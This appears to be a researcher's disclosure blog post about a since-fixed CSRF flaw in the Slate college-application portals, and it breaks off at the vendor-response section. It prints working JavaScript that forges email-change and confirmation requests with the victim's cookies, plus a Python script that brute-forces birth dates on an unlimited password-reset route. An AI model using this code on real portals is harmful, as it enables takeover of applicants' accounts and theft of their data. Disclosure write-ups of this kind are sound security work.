Hacking Harvard (and nearly every other college)

Technolutions Slate creates and hosts the applied and admitted student portals for nearly every college, including every ivy league school. Notable exceptions include Carnegie Mellon and the University of Maryland (among others), who roll their own solutions.

Slate's logo

And until April 9, 2018, they were vulnerable to a wicked CSRF vulnerability that could, within seconds, reset a logged-in user’s email, and within minutes, completely control his or her account, allowing an attacker to withdraw college applications and steal sensitive information.

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request.

From OWASP

Step 1: Reset the user’s email

From the user’s perspective, the email reset form looks like this:

Email reset form

The form sends a POST to /account/migrate with the body parameter email2 containing the new email address. On a malicious site, the following javascript will trigger the email reset:

var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://apply.college.harvard.edu/account/migrate', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send('[email protected]');

xhr.withCredentials = true is the important part here, since it tells the browser to send along the user’s authentication cookies with the request.

Note: Technolutions were unable to reproduce this step, although my PoC code had been working the entire afternoon I had been testing this bug. I have no idea why.

To complicate matters, the user must confirm the email change by clicking on a link sent to the new email address:

Confirmation email

This link is long, contains a huge nonce, and looks like this:

https://mx.technolutions.net/mpss/c/rest-of-the-confirmation-nonce

Confirming from the link requires proper authentication, and so the request must be sent from the victim’s browser as well. Whether by convincing the user to visit another site, or for the first malicious page to request the confirmation link from the attacker’s server, one can apply the same technique to confirm the change:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://mx.technolutions.net/mpss/c/rest-of-the-confirmation-nonce', true);
xhr.withCredentials = true;
xhr.send(null);

By now, we’ve reset the user’s email address and confirmed the change. However, we don’t yet have access to the user’s account.

Step 2: Resetting the password

Fortunately, we’ve bound our email address to the user’s account. Unfortunately, resetting the password requires knowledge of the user’s birth date:

Password reset form

The thing is, there are only 365 days in a year, and most college applicants in a given year are born within the same two years (this year, it’s 1999 and 2000), meaning worst case, it takes 730 guesses, and on average, only 365 guesses, which is a relatively tiny search space to brute force. Clever use of birth date distributions might bring that average even lower, although I have yet to explore that possibility.

Regardless, the route /account/reset isn’t rate limited, meaning we can write a quick script to try all possible dates within a two year interval:

import requests
from datetime import date
from dateutil.rrule import rrule, DAILY
import code

RESET_URL = "https://apply.college.harvard.edu/account/reset"
SUCCESS_TEST = "A temporary PIN has been sent to your email address."
EMAIL = "[email protected]"

START_DATE = date(1999, 1, 1)
END_DATE = date(2000, 12, 31)

for dt in rrule(DAILY, dtstart=START_DATE, until=END_DATE):    
    month = dt.strftime('%m')
    day = dt.strftime('%d')
    year = dt.strftime('%Y')
   
    print(f"Trying {month}/{day}/{year}")
    r = requests.post(RESET_URL, data={
        "email": EMAIL,
        "birthdate_m": month,
        "birthdate_d": day,
        "birthdate_y": year
    })
    if SUCCESS_TEST in r.text:
        print("FOUND BIRTH DATE")
        break

With this script, I was able to find my own birth date within one minute.

Technolutions’s Response

Technolutions staff replied within hours of my email report, and had it fixed within a day. Very impressive! They also sent me some swag.

Actions they took: